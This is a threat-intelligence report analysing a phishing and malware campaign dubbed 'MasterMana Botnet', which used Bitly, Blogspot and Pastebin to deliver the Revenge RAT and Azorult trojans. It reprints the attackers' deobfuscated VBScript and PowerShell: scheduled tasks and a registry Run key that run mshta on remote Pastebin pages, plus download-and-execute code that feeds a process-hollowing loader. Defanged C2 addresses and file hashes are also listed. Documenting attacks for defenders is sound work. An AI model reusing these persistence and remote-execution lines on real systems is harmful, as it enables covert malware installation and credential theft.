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Wednesday, October 2, 2019

MasterMana BotNet

The MasterMana Botnet: Anatomy of the $160 Dollar Hack
Authors: Danny Adamitis and Matt Thompson


Introduction


The team at Prevailion has uncovered new details concerning “MasterMana Botnet,” an ongoing cyber-crime campaign that hits all of the cyber bingo buzzwords: business email compromise, backdoors, and cryptocurrency wallets. There are indications this operation — which targeted corporations around the world for less than the cost of a night at the baseball park — was still active as late as 24 September 2019.

This operation, which began as early as December of 2018, appears financially motivated, given the seemingly indiscriminate targeting of business email addresses via phishing and the inclusion of specific functions to steal information associated with cryptocurrency wallets. Based upon exhibited tactics, techniques, and procedures (TTPs), we have associated it — with moderate confidence — to the “Gorgon Group”, a well known group active for numerous years that has been known to straddle the line between cybercrime and intelligence operations.

Once the victims opened the phishing email it revealed an infected document attachment. Opening the infected document initiated the attack’s multi-pronged, labyrinth-like kill-chain. The layered kill-chain approach aids in evading detection by relying upon trust placed in a number of third-party websites and services, such as Bitly, Blogspot, and Pastebin, as opposed to exclusively using actor-controlled domains.

The threat actors also took the additional steps of modifying older Pastebin posts to cease execution, as well as adding features to avoid some automated detection, such as sandboxing.

Ultimately the victim would download a .NET dll that would perform process hollowing and load a fileless backdoor — either a variant of Azorult or Revenge Rat. The team at Prevailion determined that the threat actors used Revenge Rat, a well-known remote access trojan (RAT) tool that could be found online for free, through the week of September 15th, at which time they switched to Azorult, a well-known trojan previously for sale on certain forums for $100US.

The Azorult trojan was designed to steal usernames, passwords, cookies, web history, and cryptocurrency wallets. It also created with contained functionality to enumerate the host, upload files, download files, and take screenshots of the victim’s machine. This functionality could allow an actor to deploy additional payloads, such as cryptominers and ransomware.

In addition to aiding in detection avoidance, using third-party services also enabled the threat actors to conduct the campaign at minimal cost. Leasing Virtual Private Servers (VPS) costs an estimated $60US, and Azorult versions were available for under $100US via Russian-based cyber-crime forums earlier this year.

This particular campaign highlights the asymmetric nature of these threats. As companies increasingly spend more money on security solutions, threat actors are able to operate on shoestring budgets. In this case, the threat actors struck a perfect balance: sophisticated enough to avoid automated detection through third-party services and obfuscation while remaining below APT-level sophistication to avoid drawing attention to their campaign.

These new details about the wide-scale targeting of this ongoing campaign — dubbed “MasterMana Botnet” — highlight the potential impact of moderately sophisticated campaigns to all corporations and organizations. While most companies fear they may become compromised by advanced actors, this particular report highlights that actors do not have to rely on advanced tools or techniques to have a serious business impact.

We recommend a defense-in-depth strategy with multiple security solutions including properly configured firewalls, email protection, and end-point antivirus solutions.

While the infection mechanism relied upon semi-trusted third party sites, the use of commonly available backdoors made this attack easy to stop for updated and properly-configured endpoint solutions.


Campaign Walk Through 



Step 1 - Phishing E-Mails

One observed infection vector used by these threat actors was trojanized Excel documents sent to victims via email. The emails appeared to impersonate business dealings by sending the recipients invoices and product requirements.

In one case, an email impersonated a small-sized legitimate company based out of Dubai, UAE. Both of the emails that we discovered were sent from free email providers, such as Yahoo and Yandex.

 



Phishing email sent from free webmail provider to potential victim




Phishing email sent from a potentially compromised account 




Step 2 - Infected Document Attachments

Once the victim received the email, presumably they would then download the infected file attachment. In one case, the Excel document attachment would prompt the victim to then enable a macro. Once macros were enabled, the VBS script would reach out to a Bitly link.

In another instance, a different Microsoft excel file was attached, which used the Dynamic Data Exchange (DDE) exploit, CVE-2017-11826. Similar to the previous sample, when the document was opened, the OLE object automatically reached out to an embedded bitly link.

Additionally, we saw references in the code that indicated the threat actors could have trojanized the following Microsoft file formats:
  • Word
  • Excel
  • PowerPoint
  • Publisher


Step 3 - Bitly Link Redirection to “TeamMana” Blogspot

The victim machine would then attempt to resolve the embedded Bitly link. Once the link was expanded, it would direct the victim to an actor-controlled hostname associated with Blogspot.

The team at Prevailion observed the same hostname in use across multiple campaigns however, the expanded bitly links correlated to different URLs. One of the more popular campaigns occurred in late August and continued through September. This particular link appeared to have been clicked approximately 2200 times from end users located around the globe.
 
Bitly metrics showing the number of times the link has been clicked associated with the September 9th Campaign




Bitly metrics showing the number of times the link has been clicked associated with the September 15th Campaign

Once expanded, the Bitly links would bring the victim to a URL associated with the hostname myownteammana[.]blogspot[.]com. If the website was visited in a web browser, the site appeared benign. Upon further inspection, however, we discovered the presence of malicious JavaScript within the webpage.

Screenshot of the actor-controlled blogspot webpage 

Once the embedded javascript was decoded, it revealed a VBS Script that ran mshta.exe on code found on a Pastebin URL.


Step 4 - Creating Scheduled Tasks and Registry Keys

The Pastebin URL would reveal another javascript snippet. Similar to the previous step, the Pastebin file was a URL-encoded VBScript that was obfuscated using some simple tricks such as string reversals and unnecessary concatenations to avoid detection. Once deobfuscated, the script would kill any running instances of MS Word, Excel, Powerpoint, and Publisher.

Next, it would attempt to create scheduled tasks and modify a registry key to obtain the next payload. One interesting aspect was the inclusion of a time delay on the scheduled task, which likely aided in avoiding detection from a certain sandbox environment that may have had a timer of five minutes

At the end of September, the threat actor began modifying their TTPs to use three scheduled tasks and one registry key, instead of two. These scheduled tasks would kick off after six minutes then five hours and then ten hours. Then, the registry key instance would persist after a reboot.


<script language="VBScript">

CreateObject("WScript.Shell").Run "cmd.exe /c taskkill /f /im winword.exe & taskkill /f /im excel.exe & taskkill /f /im MSPUB.exe & taskkill /f /im POWERPNT.EXE & exit", vbHide

CreateObject("WScript.Shell").Run schtasks /create /sc MINUTE /mo 06 /tn ""Windows Update"" /tr ""mshta.exe http://pastebin.com/raw/{Specific URL}"" /F , vbHide

CreateObject("WScript.Shell").Run schtasks /create /sc MINUTE /mo 300 /tn ""Update"" /tr ""mshta.exe http://pastebin.com/raw/{Specific URL}"" /F , vbHide

CreateObject("WScript.Shell").Run schtasks /create /sc MINUTE /mo 600 /tn ""Genuine"" /tr ""mshta.exe http://pastebin.com/raw/{Specific URL}"" /F , vbHide

CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AvastUpdate","mshta.exe http://pastebin.com/raw/{Specific URL}","REG_EXPAND_SZ"

Self.close </script>


Step 5 - Downloading and Loading the Trojan

Once the scheduled tasks and registry keys were created, they were then populated with the contents of another Pastebin URL. Interestingly, our team noticed that some of the older Pastebin posts were modified to cease execution of the kill-chain.

We assess that these older Pastebin posts were almost certainly modified by the threat actor, potentially after a set period of time. This suggests that the threat actors are taking steps to remove older links, thereby protecting their tools and operations. One of the active links provided a URL-encoded string that decoded to the text below.

Screenshot of the URL decoded VBScript 

That PowerShell command was obfuscated by both reversing the order of the string and by expressing in comma-delimited, base-10 CharCode.

One of the tools that we used in decoding these various commands was CyberChef.

Screenshot of the cyberchef, using “reverse” and “from charcode” modules to deobfuscate the script 

The plaintext PowerShell script used in the September 15th campaign can be viewed below.

[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');

$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'hxxps://pastebin[.]com/raw/{Specific URL}')|IEX;

[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'hxxps://pastebin[.]com/raw/{Specific URL}').replace('!#@','0x')|IEX;

[k.Hackitup]::exe(notepad.exe',$f)

Prior to the 15th, the threat actors used a slightly modified script. This older variant had certain functionality to confirm that the machine had access to the internet before running. The variant also used MBuild.exe. We suspect the adversary chose MSBuild because it is a signed Microsoft binary, and using this process could allow them to bypass some application whitelisting controls on the host as they used it to execute arbitrary code.

do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');

$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://pastebin.com/raw/{Specific URL}')|IEX;[

Byte[]]$f=[Microsoft.VisualBasic.Intraction]::CallByname((New-ObjectNet.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://pastebin.com/raw/{Specific URL}').replace('#!','0x')|IEX;

[email protected]('MSBuild.exe',$f);

$g22=$a.GetType('THC452563sdfdsdfgr4777cxg04477fsdf810df777');

$y=$g22.GetMethod('retrt477fdg145fd4g0wewerwedsa799221dsad4154qwe');

$j=[Activator]::CreateInstance($g22,$null);

$y.Invoke($j,$obj)

The first Pastebin sample downloaded from the script was heavily obfuscated. Once it was URL-decoded, it revealed a PowerShell script that was obfuscated using base-10 CharCode. The deobfuscated text revealed another large string of hex characters. However, to further evade detection and obfuscate the code, the “0x” that typically precedes the hex was replaced with “%_”. The PowerShell would replace, ”%_” with “0x” right before execution. Once the replacement was complete, we were able to extract a Dynamically-linked Library (.dll) written in .Net.

The second Pastebin sample we downloaded from the script was more semi-obfuscated. Similar to the previous samples, the threat actors appended “!#@” in front of the hex characters, likely to evade detection. However, prior to execution, the string “!#@” would be replaced with “0x” to download a fully functional RAT.

Step 6 - Analysis of the Process Hollower and Trojan

The .NET dll sample associated with this particular campaign was obfuscated using an open-source project called “ConfuserEx” from GitHub. Thankfully,“de4dot” is another available open-source project, which can be used to deobfuscate the samples.

This serves as a hollow process injector for the “notepad.exe”, from step 5 above. It also passes a byte array with the PE data from the PowerShell script. It looks for notepad.exe in windows\syswow64 and then calls “MyVictim.tickleme”, which zeros the PE headers from the buffer and calls VOVO.FUN.

VOVO.FUN then launches notepad, unmaps the existing section, allocates a new buffer in the notepad process, writes additional payloads into the process, and resumes the thread. This allowed the threat actors to never write the malware to disk. The actors maintained persistence schedule tasks, which will periodically grab the injector and RAT, and hollow out the memory of a process that points to a valid image on disk.


Screenshot of the process hollowing dll

In an operation that occurred on September 9th, 2019, the threat actors deployed Revenge Rat. 
 
This particular agent communicated with a duckdns domain, hxxp://speeddfox[.]duckdns[.]org, and it generated a MUTEX string, named "WindowsUpdateSysten32". These characteristics, such as the use of Revenge Rat and the MUTEX string, allowed us to draw parallels to a campaign previously reported by other security firms, that they associated to the “Gorgon Group”.

Screenshot of the Revenge Rat’s C2 and MUTEX string

Approximately one week later, on September 15th, we observed an evolution of TTPs, using Azorult, in lieu of Revenge Rat. Azorult was a well-known trojan, and this particular variant was written in Delphi. As noted by other security researchers, Azorult has been available for sale on Russian forums at prices ranging up to $100US.

While this trojan may have been older, it was still highly effective. Most of the functionality was geared towards harvesting credentials that could be found on the victim machine — e.g., email accounts, messengers applications (e.g., pidgin, psi+, telegram), web cookies, browser history, and cryptocurrency wallets.

Functionality to harvest cryptocurrency wallets 

It also had traditional trojan functionalities, such as host-based enumeration and the ability to upload and download files, as well as take screenshots. Once the trojan had obtained the information, it would then communicate with a hard-coded IP address; two such C2 were hxxp://216.170.126[.]146/2ky/index.php and hxxp://23.249.163.135/index.php. We assess that these threat actors likely configured their C2s using another GitHub Project.


Pastebin Insights 

A review of the open-sourced insights from Pastebin provided a couple of interesting takeaways and insights into this campaign. 

The threat actors’ use of third-party websites, such as Bitly, Blogspot, and Pastebin was likely done to evade detection, as those sites would have been less likely to arouse suspicion from network defenders. Yet, websites such as Bitly and Pastebin keep metrics on how many times a certain link has been visited, We were able to determine who created this particular Pastebin post and summarize how many times it had been visited.

For example, we observed that the URL that hosted the Revenge Rat sample had been viewed over 3300 times. This suggests that there are 3300 machines that were affected by this campaign. However, because the threat actors used a known trojan, the number of machines affected could be much lower, as many machines may have had antivirus products in place.

 
Pastebin URL ending in “LJV1Hn3g” which decodes to Revenge Rat


Pastebin URL ending in “xAnP1Xjc” which decodes to Azorult Rat

We noticed that, six days later, the same Pastebin creator “hagga” created a new post that decoded to the aforementioned Azorult trojan.

With a little over 1000 views, if these two operations are representative of a standard week, we surmise that these threat actors potentially interacted with approximately 2000 machines per week.

While this number likely does not reflect the number of actively compromised machines by this threat actor, it does provide us with a snapshot to better understand the breadth of their operations.

Upon further inspection of the Pastebin creator “hagga”, it appears that this Pastebin account was created on December 3rd, 2018. Thus, we suspect this activity has been occurring since that time.

We also discovered one interesting Pastebin post title: “MasterManabots-all-bots”. From this, and the reference to “Mana” in the blogspot hostname, we suspect the actors refer to this campaign as the “MasterMana Botnet”.

Screenshot of the Pastebin post ending in “cUcUDfLf” called “Mastermanbots-all-bots”


Conclusion 


We found two aspects of this campaign particularly interesting:

  • The cost for the threat actors to deploy and maintain the campaign was virtually nonexistent.
  • The campaign showed a very specific level of sophistication, tailored intentionally to evade detection.
Regarding the low monetary cost associated with this campaign, we observed that the threat actors leaned heavily on various third-party services.

For example, they sent malicious documents using free web mail accounts. They then could have used an open-source project to generate a DDE payload or macro and had the macro reach out to a Bitly link. This link then resolved to a free Blogspot site, hosted by Google, which redirected to various Pastebin sites. Finally, they used an older trojan that likely cost approximately $100. Thus, the only real cost associated with this particular campaign appears to be that of leasing the VPSs.

Based on the level of sophistication displayed in this campaign, we believe that the threat actors struck a sweet spot. The longevity of this campaign can be partially attributed to the threat actors’ ability to avoid using popular commodity malware, such as Emotet. Simultaneously, they avoided the use of (and subsequently, the potential burning of) zero-day exploits and custom backdoors. We speculate that this helped them obtain a higher return on investment, since they weren’t spending significant resources on tools and exploits.

This campaign’s threat actors saw an opportunity and appear to have carved out a nice niche for themselves.

We suspect that this particular threat actor is likely to continue operations, as previous public reporting has not deterred them, therefore we wanted to highlight their new modus operandi, so that network defenders may more easily identify their operations.


About Prevailion

Prevailion is a compromise intelligence company, transforming the way organizations approach risk mitigation and business decision-making. Through next-level tailored intelligence and a zero-touch platform, Prevailion provides confirmed evidence of compromise for customers and their partner ecosystems.

To learn more about Prevailion, visit prevailion.com.


Indicators of Compromise

Campaign 1 - Revenge Rat (September 9th)

Email:860f4ede365d905d5f4cef1deb4a7f40c09a20a1fafc856f4230a10509d42a7a

Xls File:680056b56c29afcce275de93ac5bb06076358410c05caae7f19572909d2d6071

hxxp://bit[.]ly/kasls71a

hxxps://myownteammana[.]blogspot[.]com/p/speedfox.html

hxxps://pastebin[.]com/raw/RTD3sGkM

hxxp://pastebin[.]com/raw/avT9WX4c

hxxps://pastebin[.]com/raw/sDC029Je

hxxps://pastebin[.]com/raw/LJV1Hn3g

C0878de0c284e2d7fff24672b6bd80d315222bc50a949426401304bd77f56eb7

E22d550423f05eb685ad060a71d58b306e31c473d2d0cacf5794ec424fd3f393

hxxp://speeddfox[.]duckdns[.]org


Campaign 2 - Azorult (15 September)

eml:2a58061f53a79581ebc02ec7ab3403fae374f13e3ae6d1e6f1552db51d93330e

xls:eb9a9e0e00393b0eb5f128e56674609244dad979fcf69b5aef507f683c016db9

hxxp://bit[.]ly/8hdjkashhassahsh

hxxp://myownteammana[.]blogspot[.]com/p/workfine-third.html

hxxps[://]www[.]pastebin[.]com/raw/BzyHF1Xa

hxxps[://]www[.]pastebin[.]com/raw/f9wKJK8u

hxxps[://]www[.]pastebin[.]com/raw/ztSuJtmu

hxxps[://]www[.]pastebin[.]com/raw/gLH1A2xF

hxxps[://]www[.]pastebin[.]com/raw/c0iMkswD

hxxps[://]www[.]pastebin[.]com/raw/xAnP1Xjc

f6c868883d1d5e4a2049969b4caa8a09fb6818fcf0249e8a1dc3d64372ae4f37

84833991f1705a01a11149c9d037c8379a9c2d463dc30a2fec27bfa52d218fa6

hxxp://23[.]249[.]163[.]135/index.php


Campaign 3 - Azotul (24 September)

xls:4db09db46ba50f3070705ab992ed28a87f861b9ad040176e086b4c9a2bb58210

hxxps://bitly[.]com/mfuckingstlunlayliyabsdhgagaaki+

hxxps://myownteammana[.]blogspot[.]com/p/ahsan-day1.html

hxxp://www.pastebin.com/raw/KbivPSy7

hxxp://www.pastebin.com/raw/piqDdVhA

hxxp://www.pastebin.com/raw/819YBkvU

hxxp://www.pastebin.com/raw/cUcUDfLf

hxxp://www.pastebin.com/raw/7D2ChMmv

hxxp://www.pastebin.com/raw/tvmLvfjx

hxxp://www.pastebin.com/raw/zwPHfSk5

E22d550423f05eb685ad060a71d58b306e31c473d2d0cacf5794ec424fd3f393

Bb077ea088c3c754f89b18c0e33378182b289d34d885e13365a93dc0c7c93589

hxxp://216[.]170[.]126[.]146/ahsan/index.php


Emails (Sha256 Hashes)

dc053f84f2369d6130250bea1aca45f22641af3bd72a628587c4d18dd2903f70

7449d8b0e5c5fee127c7133b6f7662bec21c788311f4c830c320752ebffa3203


Trojanized Documents

D7640b69f2f9d937cf015cfc706c85b4d15af06c0fbfe4421e881ac56c0fbfa9

4db09db46ba50f3070705ab992ed28a87f861b9ad040176e086b4c9a2bb58210

Cabcda5bcbe4e7eb500c8d198910d0c4f067a97f995141b6ae5fb0620e259d93

6040f1565b4b4dccacfa819c424d80611464cc0a7b14cf17a45e4b4eb2b6a276

Eb968161e3c2433aba63517688dc370ef640cf59daa8d658f90c9657c796729b

51a0e2aac8a0d7460e2a326a9c372f3d1ba3871e6f365f122f3d72cd271a5a3b

ed9330c9c926fb40a195f8d4cc1367cc2eb51f384c1dda01d81f209bbd677885

599caa910bc1987be4a9b1128ab909965d91b20bc950b84133c39f05c48e2244

467f6d40cca531ada777d05b9856b4ea16d5596dc8fbc6f9953b08041bdda629

405f5ef0e261f2f7d07db7bf749c5f3ff6cc5a6582013c5490f10dfee24db9cf

Eb9a9e0e00393b0eb5f128e56674609244dad979fcf69b5aef507f683c016db9

7f649548b24721e1a0cff2dafb7269741ff18b94274ac827ba86e6a696e9de87

17ef3985f60e587f2ac3fc30ba52106abcd933cd39d9cfd5813e1764ccd8c54e

7d5c10ec72855d6be418dbde4225b413de2d37d02894f9667859c7f5ddcf0f95

160fc09d02379c2975f39fdb2881f702785b898fd526193d55027c1392ad6211

B6caf0e02c8d2cec33d776d0cbda78d4e3cbbf83beef099e74904a56ce5438b2

61640de0f927ccd1835116c9044c825f0ec8d9707cbc9479446137c094c79ec0

5691e36a611c9d26b73280cf2d03b43bb3aad0405c69d12f4e69fa4b84947350

5b28b71b197141869dac8c16881969de79d7075b3f90db74e2617fa10e5c616c

7a1d62eb5ac162b77282fd4724e05fd3f15a71d35af8557f39328d7e20bb7f54

9194f1c345d4c0c1ead6ed8360d8f4cb437db46992193361a4c13536b4e6f482

88fa4316062f115bda55f5ee813f142f656f4c93c080e3eafc2489bcf484a72c

22badea27fc78704cda90ce08fda6b5a3e316305116e0a723a19fbba5f207075

7bccace1fc2511f69b33de773a09ad394646628245ac60b6304b70da1bd7bace

A68d40c0b98f85108ff33b470966bb0ed8318cb2d6512731943209c61d31e445

94b3ed920d553046515973d608637afda0c148ba222444a0d4e29815beaa93a5

160fc09d02379c2975f39fdb2881f702785b898fd526193d55027c1392ad6211

1fc35c164170bbaf6c9c1c08ef8f947c450b4591fbbff1aedf76bcb31396e68f

A1311f60a4e77f922e8e1f5bc6c4a738cd9baf4b7ab5ba20d117c8553ea98888

46d2f4e6ef71dcbab6657a7bd2e6921250801475c816278d3246260f5fdbd8af

7d5c10ec72855d6be418dbde4225b413de2d37d02894f9667859c7f5ddcf0f95

7f649548b24721e1a0cff2dafb7269741ff18b94274ac827ba86e6a696e9de87


Bitly URLs

hxxp://bit[.]ly/myldsahsgkdasjhasjkdhgaksdhaki

hxxp://bit[.]ly/mfuckingstlunlayliyabsdhgagaaki

hxxp://bit[.]ly/loghdsjssss6278haaki

hxxp://bit[.]ly/mylmounmeidahsgkdasjmadarchoodaki

hxxp://bit[.]ly/phlim6hshshugthsg27

hxxp://bit[.]ly/8hdjkashhassahsh

hxxp://bit[.]ly/8hsshjahassahsh

hxxp://bit[.]ly/dajhmypwmnhsjsh

hxxp://bit[.]ly/phlim826gthsg27

hxxp://bit[.]ly/nlaylialsjsjsjy

hxxp://bit[.]ly/umyakasuc

hxxps://bitly[.]com/2jsjsjahyh

hxxps://bitly[.]com/lunlay63b

hxxps://bitly[.]com/a62179hsdh

hxxps://bitly[.]com/26hshyh

hxxps://bitly[.]com/2j938jahyh

hxxps://bitly[.]com/lunlay63b

hxxp://bitly[.]com/2KpPwHC

hxxps://bitly[.]com/laygyloraylagaaki

hxxps://bitly[.]com/8hsshjahassahsh

hxxp://bitly[.]com/2k2oGvP


.Net DLL used to Process Hollowing

acacbd880ed58976436624fd027850d41c505bd9653d6b195744d7e8b91fd560

5f344ad3b50d75f9073efeb38cdac1c369b7b3c67862c908103ab69a7b7e1837

84833991f1705a01a11149c9d037c8379a9c2d463dc30a2fec27bfa52d218fa6

Cded233b6a7bfd0f4430d79766706db62ea6992fad6e2a8506a5d81f64ba7e19

a318ce12ddd1b512c1f9ab1280dc25a254d2a1913e021ae34439de9163354243

3f0d0471a67a4fff6847f41da120e47e969e4b014ec31f4bdbd2d15a960074df

E22d550423f05eb685ad060a71d58b306e31c473d2d0cacf5794ec424fd3f393

Bb37f30311a0ade4a807a5de7f078efd6b3af815aa4305a4bcc17f6d4b5ee9e6


Revenge RAT

C0878de0c284e2d7fff24672b6bd80d315222bc50a949426401304bd77f56eb7

c9b3a21aec8f7f484120c16d7ee70853020dc9fd2e881d504903c371d1028937


Delphi version of Azorult RAT

F6c868883d1d5e4a2049969b4caa8a09fb6818fcf0249e8a1dc3d64372ae4f37

Df92917eb8b7d0f9b893ec82aa471db341e0bc04a6a677e390517fee9f5fd03d

bb077ea088c3c754f89b18c0e33378182b289d34d885e13365a93dc0c7c93589


Command and Control Nodes

hxxp://216[.]170[.]126[.]146/2ky/index.php

hxxp://216[.]170[.]126[.]146/ahsan/index.php

hxxp://23[.]249[.]163[.]135/index.php

hxxp://speeddfox[.]duckdns[.]org

hxxp://rgalldmn[.]duckdns[.]org



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Threat Summary: Operation BlockChain Gang; Advanced Exploits, Commodity Tools

This is Prevailion's first Threat Summary Report. For more information on this type of report and why we publish them, click here ....